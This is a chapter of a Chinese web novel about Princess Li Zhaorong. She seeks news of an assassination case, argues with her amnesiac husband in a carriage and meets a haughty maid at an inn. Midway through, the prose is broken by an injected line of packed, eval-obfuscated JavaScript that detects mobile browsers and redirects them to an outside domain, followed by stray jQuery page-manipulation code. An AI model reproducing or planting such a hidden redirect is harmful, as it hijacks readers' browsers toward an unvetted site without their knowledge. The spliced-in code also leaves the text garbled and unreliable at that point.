那鸿胪寺官员似乎很怕她再追问,含糊了几句便想揖手离开。
见状,李昭容直觉这其中定然发生了什么她不知道的事情,忙将人喊住,让夏桃把一早准备好的包袱递过去。
她面上故作忧虑道:“那麻烦大人帮我转交一下吧,他一去几年,好不容易回来了,临了却又发生刺客的事,到了家门前却还不能回家。”
她假装没看见官员脸上的尴尬,拿出帕子抹了抹眼角叹道:“我一介妇人不知什么政事,只知家中婆母担心,日日盼着,大人若是见到了我家将军,还望转告一声,等此间事了之后,让他记得早些回去。”
一旁保持着举包袱动作的夏桃也适时眼泪汪汪道:“您别哭了,当心身子呀,将军肯定很快就能回家了。”
而后一脸期盼地扭头望向那官员,眼神仿佛在催促:你快点说些什么安慰的话呀!
那鸿胪寺官员露出为难的神色,左右望了望,终是咬咬牙,快速而又低声道:“刺客一案已经有眉目了,郡主再等两日,会有消息的,至于这包袱——”
他眼中闪过一丝同情,含糊道:“驿站里什么都有,您不用担心,等之后使团回京您就知道了,微臣这边还有其他公务要忙,就不送郡主了。”
说完,便揖了揖手,脚步不停地转身离开了。
夏桃抱着包袱,询问的眼神看向她。
李昭容拧眉想了想,斟酌道:“太子遇刺这么大的事,居然只要两日就能侦破,他们到底如何能这么有把握……这里离乌林镇不远,使团人多,驿站即使储备再多,也必然有供给不足、需要去镇上补给的时候,我们现在就去那里走一趟,看看能不能打听到其他什么消息。”
夏桃露出欲言又止的表情,见她说完便毫不犹豫地转身往来时方向走,忍不住跟上来,附耳小声道:“您就不担心将军那边吗?”
李昭容脚步未停,诧异道:“我担心他做什么?”
夏桃跺了跺脚,哎呀了声道:“刚刚那位大人的反应摆明了是搪塞咱们,将军那里肯定是有什么事瞒着您呢,之前那什么骊国公主的事就传得沸沸扬扬的,而且这回骊国人又一起跟来了,万一……您就一点不着急吗?”
李昭容:“别人不想说,就是表明了不想掺和,我若逼问,岂不是与人为难?况且这回本来就只是走个过场罢了,那位大人也说了,过两日自会知晓,急什么?”
而且现在当务之急是被牵扯进太子遇刺一案的阿淮,至于邢焱……
一个几年都不着家、只会给她带来麻烦和非议的臭男人,她巴不得越晚和他见面才好呢。
主仆二人走后。
驿站门前,骊国王子挥退旁边阻拦的兵士,看向李昭容离开的方向,眯了眯眼,突然问道:“那是谁?也是你们启国这次给孤准备的和亲人选吗?”
鸿胪寺官员一见他表情,便知他在想些什么,心里骂了句,面上却呵呵笑道:“殿下说笑了,那是我朝的昭容郡主,早已几年前就嫁为人妇,自然不在此列。”
骊国王子:“哦,那还真是可惜。”
只是嘴里虽然说着可惜,眼含兴味的视线却没有收回半分。
见状,鸿胪寺官员心中唾弃,不动声色地移步挡在了他面前,笑呵呵地拱手道:“外臣一大早就听说王子要出去,也不知道是不是我们招待不周,哪里怠慢了,只是现下刺客还未抓到,王子还是暂留驿站之内会比较安全。”
……
马车上,夏桃因晕车主动请缨坐去了外面赶车,因而此时车厢内只剩下李昭容和晏柒二人。
李昭容正回想着刚刚那官员透露出的消息,冷不丁听见一道低沉的男声从旁边传来。
“你今日出门,就是为了给你夫君送东西。”
虽是疑问,语气却是肯定。
她从沉思中回过神,抬头沿着他的视线方向,正好看见自己上来时随手搁在边角上的未送出去的包袱。
一早特意收拾好的包袱被带出门,又被纹丝未动地拿回来,再加上他是习武之人耳力好,听见了她和鸿胪寺的人说话也说不准,所以她并不奇怪他知道。
闻言,便没怎么在意地点了点头。
车厢内陷入安静。
可没过一会儿,又听见他缓缓开口,语气似有不虞:“你就没什么要和我说的吗?”
男人看她的眸色微暗,漆黑瞳孔里像是沉了一片化不开的墨。
李昭容微微疑惑:“说什么?你不是都听见了吗?”
邢焱心口猛然一堵。
驿站周围有众多兵士把守,随时警戒驱逐靠近的人,他赶着马车离得有些远,便只听见了她对着那个身穿官服的人诉衷肠,说她思念夫君的一番情真意切的话。
可既如此感情甚笃,那之前她口中所言姘头不姘头的话又是为何?且还对他露出那副表情……
他今早还觉得或许其中有几分真也说不准,直到刚刚他知道了她夫君其实已经数载未归。
根本不在家中之人,又要如何指使下人来殴打他这个所谓的“奸夫”?
她的话,到底什么是真的,什么是假的?
邢焱眸色沉了沉,视线一寸寸扫过她毫无心虚的无辜面容,目光慢慢变冷。
李昭容被他看得有些莫名其妙,仔细想了想,倒还真有些要叮嘱的,便道:“快中午了,待会儿到了镇上之后,我们先去酒楼吃饭,等吃完饭,你若是瞧见什么觉得眼熟的,或者有什么其他想去的地方,也可以和我说。”
原本她只是随口一提,不料他看了她一眼,沉声道:“不必,我一人去足矣。”
还真有其他想去的地方?李昭容有些诧异,但还是爽快应道:“行,那你忙你的,之后再汇合也成。”
这会儿她倒没怎么担心人会不吭一声就跑了,毕竟就算人失忆了,但最基本的品性还是在的,她相信他既然之前答应了自己,便不会做出出尔反尔之事。
两人未再说话,马车一路驶到了乌林镇上的酒楼。
乌林镇原本只是个小镇,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16263510|175965||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
百姓不多,街上也比较冷清,但如今却变得热闹,就连麻雀大的酒楼前竟也停了好几辆阔气的马车。
楼内的一楼大堂也坐了许多客人,李昭容甫一进门就觉得有些吵闹,便让伙计领她们上了二楼。
镇上的酒楼陈设向来简陋,二楼并未设置包厢,只搬来了几扇旧屏风做隔断,临时隔出了几桌座位,她们便坐在最靠里的地方,倒也清静。
伙计手脚麻利,点完菜后没一会儿就将热腾腾的饭菜都送了上来。
晏柒在进酒楼前便独自离开了,她没什么胃口,便只点了简简单单的三菜一汤。
在外不讲究虚礼,李昭容让夏桃坐下来一起吃,早已饿了的夏桃也不客气推辞,刚一屁股坐下来,便迫不及待地挟了一筷子青菜送入口中。
只是随即便露出复杂的表情,忍不住对她小声吐槽道:“这青菜味道也就普通,居然敢卖的这么贵,而且还有这么多有钱人家来吃,他们都不觉得难吃吗?”
隔着栏杆眺望楼下大堂,热热闹闹地坐满了来吃饭的人,其中不乏衣着光鲜之人。
李昭容也挟了块清蒸鱼尝了尝,闻言笑道:“也不奇怪,物以稀为贵,这乌林镇是离上京最近的镇子了,附近还有大名鼎鼎的平安寺,若是刚好出城来上香而又赶不及在关城门之前回去,且在城外也没有住处的话,那便只能在这里解决食宿了。”
见夏桃面上恍然,李昭容又笑道:“尝尝这鱼吧,应该是附近河里现捞的,比起府里的要新鲜不少。”
夏桃闻言,便也挟了块鱼肉放入口中,将信将疑地嚼了嚼,接着眼睛一亮地点点头,但随即又露出肉疼的表情,悻悻道:“半钱银子一盘的青菜,五钱银子一盘的鱼,这怕是婢子吃过最心疼的一顿了。”
主仆二人这边闲聊着,那边从楼梯上走来一个穿着宋锦打扮光鲜的丫鬟,皱眉往二楼扫了一眼,然后往她们的方向走来。
丫鬟随意地打量了下她们桌上的三菜一汤,再看夏桃浑身上下毫无半点贵重首饰的打扮,眼中露出了然,抬头朝夏桃笑道:“这位姑娘,我们夫人喜静,能将这位置让给我们么?”
她边说边指了指楼下大堂,那里果真有个衣着靓丽的夫人被周围其余几个丫鬟簇拥着。
丫鬟笑道:“以表诚意,你们这桌菜可以记我们夫人账上。”
只是话里虽然是在询问她们的意见,眼里却全是成竹在胸,和夏桃说话的语气也隐隐带着几分傲气,好似有人替她们买账是什么非常值得感恩戴德的事一般。
可明明她们桌上的菜才刚刚端上来没动几筷子,丫鬟也明明瞧见了她们还未吃完,却一上来便要她们让出位子,李昭容不由地便心生不喜。
只是她背坐在桌边,远远地瞧着那夫人似乎有些眼熟,又看那夫人正拿帕子捂着鼻子,像是一副受不了大堂吵闹的模样,本着同理心,便开口道:“这桌子很大,你们夫人若是不嫌弃,可以上来与我们同坐。”
言下之意,一起拼桌,可以,让位,不行。